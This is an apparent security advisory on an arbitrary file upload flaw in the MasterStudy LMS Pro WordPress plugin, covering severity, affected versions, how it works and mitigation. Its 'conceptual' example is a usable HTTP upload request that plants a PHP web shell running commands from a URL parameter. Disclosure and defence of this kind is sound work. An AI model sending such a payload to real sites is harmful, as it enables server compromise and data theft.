Overview
The cybersecurity landscape is riddled with vulnerabilities that can pose serious threats to systems and data. One such vulnerability, identified as CVE-2025-4800, resides in the MasterStudy LMS Pro plugin for WordPress. This widely used plugin is susceptible to arbitrary file uploads due to a lack of file type validation in the stm_lms_add_assignment_attachment function. This vulnerability is particularly concerning due to the potential for remote code execution, which could compromise systems and lead to data leakage.
WordPress plugins, like MasterStudy LMS Pro, are commonly used to add functionality to websites. However, they can also introduce vulnerabilities that attackers can exploit. The impact of such attacks can be severe, especially when they involve popular plugins used by a large number of websites.
Vulnerability Summary
CVE ID: CVE-2025-4800
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
Product | Affected Versions
MasterStudy LMS Pro for WordPress | Up to and including 4.7.0
How the Exploit Works
An attacker with Subscriber-level access could exploit this vulnerability by uploading an arbitrary file to the server using the stm_lms_add_assignment_attachment function. This function lacks sufficient file type validation, allowing for the upload of files that could permit remote code execution. With this capability, an attacker could potentially gain unauthorized access to the system, modify system configurations, or download sensitive data.
Conceptual Example Code
The following pseudocode illustrates the potential exploitation of this vulnerability. In this example, a malicious user uploads a PHP shell script, which could allow for remote code execution.
POST /wp-content/plugins/masterstudy-lms-learning-management-system-pro/stm-lms-templates/assignments/add_file.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET["cmd"]); ?>
--------------------------d74496d66958873e--In this conceptual example, the attacker uploads a PHP file named “shell.php” that accepts a “cmd” URL parameter for executing system commands. Once the file is uploaded and executed, the attacker could potentially perform any command on the system that the web server has privileges to execute.
Mitigation Guidance
To mitigate this vulnerability, users of the affected plugin should apply the patch provided by the vendor as soon as possible. In the interim, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. These tools can help to detect and block attempts to exploit this vulnerability.
